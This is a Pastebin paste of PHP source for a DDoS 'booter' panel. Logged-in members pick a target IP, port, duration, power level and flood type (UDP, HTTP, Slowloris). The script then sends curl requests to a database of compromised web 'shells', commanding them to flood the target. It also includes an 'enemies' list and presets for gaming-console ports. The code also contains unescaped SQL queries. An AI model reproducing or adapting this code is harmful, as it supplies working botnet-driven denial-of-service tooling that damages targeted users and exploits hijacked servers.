Guest User

Untitled

a guest
Jan 20th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.84 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit(0);
  4. require_once "core.php";
  5.  
  6. if (!isMember) redirect('index.php');
  7.  
  8. require_once THEME."header.php";
  9. require_once THEME."nav.php";
  10.  
  11. $host = isset($_POST['host']) ? htmlentities($_POST['host']) : "";
  12. $type = isset($_POST['type']) ? htmlentities($_POST['type']) : "";
  13. $port = isset($_POST['port']) ? htmlentities($_POST['port']) : "";
  14. $time = isset($_POST['time']) ? htmlentities($_POST['time']) : "";
  15. $power = isset($_POST['power']) ? htmlentities($_POST['power']) : "";
  16.  
  17. view_stats();
  18.  
  19. opencontent("DDoS Attack");
  20.  
  21. echo "<form name='booter' action='' method='post'>\n";
  22. echo "<center>\n";
  23.  
  24. if (isset($_POST['boot'])) {
  25.  
  26. $errors = "";
  27. $waittime = $userinfo['nextboot'] - time();
  28.  
  29. if ($waittime > 0)
  30. $errors .= "You need to wait ".$waittime." more seconds.<br />\n";
  31.  
  32. if ($host == "") {
  33. $errors .= "You did not specify a target.<br />\n";
  34. } else {
  35.  
  36. $isfriend = mysql_num_rows(mysql_query("SELECT * FROM friends WHERE ip='".$host."' LIMIT 1"));
  37. $isblacklisted = mysql_num_rows(mysql_query("SELECT * FROM blacklist WHERE ip='".$host."' LIMIT 1"));
  38.  
  39. $host = gethostbyname($host);
  40.  
  41. if ($isblacklisted == 0)
  42. $isblacklisted = mysql_num_rows(mysql_query("SELECT * FROM blacklist WHERE ip='".$host."' LIMIT 1"));
  43.  
  44. $filter = filter_var($host, FILTER_VALIDATE_IP);
  45. if (!$filter)
  46. $errors .= "You entered an invalid IP.<br />\n";
  47.  
  48. if ($isfriend == 1)
  49. $errors .= "You cannot boot a friend.<br />\n";
  50.  
  51. if ($isblacklisted == 1) {
  52. $errors .= "This host is blacklisted.<br />\n";
  53. $log_attack = mysql_query("INSERT INTO logs (username, ip, type, target, duration, power, time, port, path, blacklisted) VALUE ('".$userinfo['username']."', '". $_SERVER['REMOTE_ADDR']."', '".$type."', '".$host."', '".$time."', '".$power."', '".time()."', ".$port.", '".$page."', 1)") or die(mysql_error());
  54. }
  55.  
  56. }
  57.  
  58. if ($port == "" && $type != "http")
  59. $errors .= "You did not specify a port.<br />\n";
  60.  
  61. if ($time == "")
  62. $errors .= "You did not specify a time.<br />\n";
  63.  
  64. if ($type == "")
  65. $errors .= "You entered an invalid flood type.<br />\n";
  66.  
  67. if (!is_numeric($port))
  68. $errors .= "You entered an invalid port.<br />\n";
  69.  
  70. if ((0 > $port) || ($port > 65000))
  71. $errors .= "Port must be between 0 and 65000.<br />\n";
  72.  
  73. if (!is_numeric($time))
  74. $errors .= "You entered an invalid time.<br />\n";
  75.  
  76. if ((10 > $time) || ($time > $settings['maxtime']))
  77. $errors .= "Time must be between 10 and ".$settings['maxtime']." seconds.<br />\n";
  78.  
  79. if (!is_numeric($power))
  80. $errors .= "Power must be numeric.<br />\n";
  81.  
  82. if (($power < 1) || ($power > 100))
  83. $errors .= "Power must be between 1 and 100.<br />\n";
  84.  
  85. if ($errors == "") {
  86.  
  87. if ($type == "http") $port = 80;
  88. if ($port == 0) $port = 'rand';
  89.  
  90. if ($type != "http")
  91. //$curlrequest = "?act=phptools&type=".$type."&host=".$host."&time=".$time."&port=".$port;
  92. $curlrequest = "?act=phptools&host=".$host."&time=".$time;
  93. else
  94. //$curlrequest = "?act=phptools&type=http&host=".$host."&port=80&page=".$page."&time=".$time;
  95. $curlrequest = "?act=phptools&host=".$host."&time=".$time;
  96.  
  97. ignore_user_abort(TRUE);
  98.  
  99. $log_attack = mysql_query("INSERT INTO logs (username, ip, type, target, duration, power, time, port, path) VALUE ('".$userinfo['username']."', '". $_SERVER['REMOTE_ADDR']."', '".$type."', '".$host."', '".$time."', '".$power."', '".time()."', ".$port.", '".$page."')") or die(mysql_error());
  100.  
  101. $count = intval(round($myshells * $power / 100));
  102.  
  103. $getshells = mysql_query("SELECT * FROM shells WHERE status = 'up' ORDER BY RAND() LIMIT ".$count) or die(mysql_error());
  104. $select = mysql_query("SELECT * FROM shells WHERE status = 'up' ORDER BY RAND() LIMIT ".$count) or die(mysql_error());
  105.  
  106. $mh = curl_multi_init();
  107. $handles = array();
  108.  
  109. while ($item = mysql_fetch_array($select)) {
  110.  
  111. $ch = curl_init($item['url'].$curlrequest);
  112. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  113. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  114. curl_multi_add_handle($mh, $ch);
  115. $handles[] = $ch;
  116.  
  117. }
  118.  
  119. $running = null;
  120.  
  121. do {
  122. curl_multi_exec($mh,$running);
  123. usleep(200000);
  124. } while ($running > 0);
  125.  
  126. foreach($handles as $ch)
  127. curl_multi_remove_handle($mh, $ch);
  128.  
  129. curl_multi_close($mh);
  130. echo "<span style='color: #00cc00;'>Booting ".$host." on port ".$port." for ".$time." seconds with ".$power."% power.</span>\n";
  131.  
  132. if (isAdmin) {
  133. $nextboot = time();
  134. } else {
  135. $nextboot = time() + $time + $settings['waittime'];
  136. if ($time >= 100) $nextboot += 20;
  137. }
  138.  
  139. $update = mysql_query("UPDATE users SET nextboot='".$nextboot."' WHERE user_id = ".$userinfo['user_id']." LIMIT 1") or die(mysql_error());
  140.  
  141. } else {
  142. echo "<span style='color: red;'>".$errors."</span>\n";
  143. }
  144.  
  145. } else {
  146. echo 'Use the form below to initiate an attack:';
  147. }
  148.  
  149. echo "</center><br />\n";
  150.  
  151. if ($page == "") $page = "HTTP Only";
  152.  
  153. echo "<table cellpadding='5' cellspacing='5' style='text-align: left;'>\n<tr>\n";
  154. echo "<td style='text-align: right;' valign='middle'>Flood Type</td>\n";
  155. echo "<td>\n";
  156. echo "<select onchange='toggleHTTP();' name='type' id='type'>\n";
  157. echo "<option value='udp'>UDP</option>\n";
  158. echo "<option value='http'>HTTP</option>\n";
  159. echo "<option value='slowloris'>Slowloris</option>\n";
  160. echo "</select></td>\n";
  161. echo "</tr>\n";
  162.  
  163. $enemies = mysql_query("SELECT * FROM enemies WHERE username = '".$userinfo['username']."'");
  164.  
  165. if (mysql_num_rows($enemies) > 0) {
  166.  
  167. echo "<tr>\n";
  168. echo "<td style='text-align: right;' valign='middle'>Select Enemy<div style='font-size: 9px;'>(Optional)</div></td>\n";
  169. echo "<td valign='middle'>\n";
  170. echo "<select onchange='document.getElementById(\"host\").value=this.value;'>\n";
  171. echo "<option value=''>-Select-</option>\n";
  172.  
  173. while ($enemy = mysql_fetch_array($enemies))
  174. echo "<option value='".$enemy['ip']."'>".$enemy['description']."</option>\n";
  175.  
  176. echo "</select>\n</td>\n</tr>\n";
  177.  
  178. } else {
  179.  
  180. echo "<tr>\n";
  181. echo "<td style='text-align: right;' valign='middle'>Select Enemy<div style='font-size: 9px;'>(Optional)</div></td>\n";
  182. echo "<td valign='middle'>\n";
  183. echo "<select onchange='window.location.href=this.value;'>\n";
  184. echo "<option value='#'>-Select-</option>\n";
  185. echo "<option value='enemies.php'>Add Enemies</option>\n\n";
  186. echo "</select></td>\n</tr>\n";
  187.  
  188. }
  189.  
  190. echo "<tr>\n";
  191. echo "<td style='text-align: right;'>Target</td>\n";
  192. echo "<td width='50%'><input type='text' name='host' id='host' size='30' value='".$target."' /></td>\n";
  193. echo "</tr>\n<tr id='pathname'>\n";
  194. echo "<td style='text-align: right;'>Pathname</td>\n";
  195. echo "<td width='50%'><input type='text' name='page' id='page' size='30' disabled='true' value='".$page."'></td>\n";
  196. echo "</tr>\n<tr>\n";
  197. echo "<td style='text-align: right;' valign='middle'>Quick Port<div style='font-size: 9px;'>(Optional)</div></td>\n";
  198. echo "<td valign='middle'>\n";
  199. echo "<select id='qport' onchange='document.getElementById(\"port\").value=this.value;'>\n";
  200. echo "<option value='3074'>-Select-</option>\n";
  201. echo "<option value='21'>21 (FTP)</option>\n";
  202. echo "<option value='22'>22 (SFTP)</option>\n";
  203. echo "<option value='80'>80 (HTTP)</option>\n";
  204. echo "<option value='3074'>3074 (XBL)</option>\n";
  205. echo "<option value='3478'>3478 (PSN)</option>\n";
  206. echo "<option value='3479'>3479 (PSN)</option>\n";
  207. echo "<option value='6667'>6667 (IRC)</option>\n";
  208. echo "<option value='27015'>27015 (Steam)</option>\n";
  209. echo "</select>\n";
  210. echo "</td>\n";
  211. echo "</tr>\n<tr>\n";
  212. echo "<td style='text-align: right;'>Port (0 For Random)</td>\n";
  213. echo "<td width='50%'><input size='5' name='port' type='text' id='port' value='3074'></td> \n";
  214. echo "</tr>\n<tr>\n";
  215. echo "<td style='text-align: right;' valign='middle'>Time:</td>\n";
  216. echo "<td><input type='text' name='time' size='2' value='25' /> seconds</td>\n";
  217. echo "</tr>\n<tr>\n";
  218. echo "<td style='text-align: right;' valign='middle'>Power:</td>\n";
  219. echo "<td><input type='text' name='power' size='2' value='50' /> %</td>\n";
  220. echo "</tr>\n<tr>\n";
  221. echo "<td colspan='2' valign='right' style='text-align: right;'><input type='submit' name='boot' class='button' value='Flood' /></td>\n";
  222. echo "</tr>\n</table>\n\n";
  223.  
  224. echo "<script type='text/javascript'>
  225.  
  226. function toggleHTTP() {
  227. if (document.getElementById('type').value == 'http') {
  228. document.getElementById('page').disabled = false;
  229. document.getElementById('page').value = '/index.php';
  230. document.getElementById('qport').disabled = true;
  231. document.getElementById('port').disabled = true;
  232. document.getElementById('port').value = 80;
  233. } else {
  234. document.getElementById('page').disabled = true;
  235. document.getElementById('page').value = 'HTTP Only';
  236. document.getElementById('qport').disabled = false;
  237. document.getElementById('port').disabled = false;
  238. }
  239. }
  240.  
  241. </script>\n";
  242. echo "</form>\n";
  243.  
  244. closecontent();
  245.  
  246. require_once THEME."footer.php";
  247.  
  248. ?>
Add Comment
Please, Sign In to add comment